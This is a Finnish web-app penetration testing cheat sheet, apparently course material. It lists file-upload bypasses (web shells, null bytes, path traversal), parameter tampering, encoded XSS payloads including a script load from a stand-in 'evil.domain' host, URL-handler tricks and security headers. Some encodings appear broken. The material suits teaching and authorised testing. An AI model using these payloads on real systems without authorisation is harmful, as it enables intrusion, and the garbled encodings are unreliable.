

VERKKOSOVELLUKSEN PENETRAATIOTESTAUS

SOLITA

<https://github.com/solita/kyberoppi>

AUTENTIKOINNIN TARKASTUSLISTA

- Onko tunnistetunnus satunnainen, siten että sitä ei voi arvata tai päätellä?
- Voiko tunnistetta ohjata hyökkääjän haltuun jotenkin? ([HttpOnly](#) ja [secure](#) -flagit?)
- Voiko käyttäjän puolesta tehdä pyyntöjä sovellukseen? (CSRF-esto käytössä?)
- Voiko sovelluksen tarkastusta käyttäjätunnuksesta/salasanasta manipuloida?

PIILOTETUT ELEMENTIT KÄYTTÖLIITTYMÄSSÄ

- [form](#) elementin hidden-kentät.
- CSS-tyylien kautta piilotetut
- Position avulla piilotus

PARAMETRIEN KÄSITTELYN RIKKOMINEN

- Parametrin jättäminen pois
- Arvon korvaaminen (jonkun muun id, -1, tms..)
- Toistaminen useita kertoja eri arvoilla (HTTP Parameter Pollution)
- Erikoisarvot: [null](#), [nil](#), [NaN](#), lukualueiden ääriarvot
- Erikoismerkit: ['](#), [%](#) ja muut
- Arvojen lisääminen pyynnön mukana.
- Ylipitkän arvon käyttö
- Väilyöntien käyttö alussa tai lopussa

FILE UPLOAD

- Onnistuuko ajettavan skriptin upload? (WebShell-backdoor.php)
- [filename](#) attribuutin manipulointi ([*](#), [?](#), [;](#), [../](#), [etc/passwd](#) yms)
- [null byte \(0x00\)](#) käyttö esim. filename-kentän suojauksen ohittamiseen
- [virus.exe.jpg](#) vs. [virus.jpg](#) vs. [virus.exe](#)
- [x.php](#) -> [test.jpg/x.php](#)
- Ajettavaa koodia formaatin kautta (SVG, DOC, Excel, XML)
- [Content-type](#) attribuutin manipulointi
- Purettavan [ZIP](#), [TAR](#), [GZ](#) yms. sisällä sopiva polku, esim. [../backdoor.php](#)
- [PDF](#) on myös ZIP ja paljon muuta.
- [imagemagick](#) tai muun taustaohjelman hyväksikäyttö

ENKODAUKSET

- Normaali: [alert\(1\)](#)
- Javascript, [Octal](#): [\141\154\145\162\164\50\61\51](#)
- HTML, hex: [alert(1)](#)
- HTML, decimal: [alert(1)](#)
- Javascript, HEX: [\x61\x6c\x65\x72\x74\x28\x31\x29](#)
- Javascript, unicode [\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029](#)
- Javascript, Unicode [\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}\u{0028}\u{0031}\u{0029}](#)
- URL: [%61%6c%65%72%74%28%31%29](#)
- Base64

HTTP HEADERIT

Header

X-Content-Type-Options: nosniff

Content-Type

Content-Disposition

X-Frame-Options:SAMEORIGIN

Cookie + secure

Cookie + HTTPOnly

Same-Site

Strict-Transport-Security

Cache-Control

X-XSS-Protection

X-Forwarded-For

Content-Security-Policy

Access-Control-Allow-Origin

Upgrade-Insecure-Requests

Mikä se on?

Estää MIME-typen päättelyn.

MIME-type.

Liitetiedostojen erottamiseen sisällöstä.

Estää avaamisen frameen mielivaltaisesta domainista.

Salaa cookien. Toimii vain jos on HTTPS.

Cookien käsittely javascriptilla estetty.

CSRF-esto

Käytä aina HTTPS:ää. Ignoroidaan HTTP:tä käytettäessä.

Välimuistin käsittely.

Sisällössä potentiaalisesti XSS sisältöä.

Headeri palvelimelle reverse proxy-palvelimelta. Vastaava x-forwarded-host

Rajoituksia selaimelle sisällön suhteen.

Ohita same-origin policy (CORS)

HTTPS-protokolla HTTP:n sijaan automaattisesti.

URL HANDLERIT

- data:text/html - data:text/html,<script>alert(1)</script>
- http://;URL=javascript:alert(1)
- Base64: data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnoMik+
- mailto: -sähköposti
- callto: -puhelinsoitto
- tel: - puhelinsoitto
- file:// - tiedostojärjestelmä

JAVASCRIPTIN AJAMINEN (XSS)

- <script>alert(1)</script>
- <script src="http://evil.domain/hak.js"/>
- Viallinen HTML, esim. <scr<script>ipt>alert('XSS')</scr<script>ipt>
-
- onLoad, onChange yms. vastaavasti
- <img src=x onerror=alert('XSS')// - kommentin hyväksikäyttö
-
- <svg/onload=alert(1)> SVG-kuvaformaatin hyväksikäyttö + event handler.
- <svg id=alert(1) onload=eval(id)>
- <input autofocus onfocus=alert(1)>
- <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
- XML-dokumentin sisällä (CDATA ja muita keinoja)
- SVG-kuvan käyttö alustana (CDATA + script)
- JSON-rakenteen sisällä

OWASP TOP 10 (2013)

- A1 Injection
- A2 Broken Authentication
- A3 Cross-Site Scripting (XSS)
- A4 Insecure Direct Object references
- A5 Security Misconfiguration
- A6 Sensitive Data Exposure
- A7 Missing Function Level Access Control
- A8 Cross-Site Request Forgery (CSRF)
- A9 Using Components with Known Vulnerabilities
- A10 Unvalidated Redirects and Forwards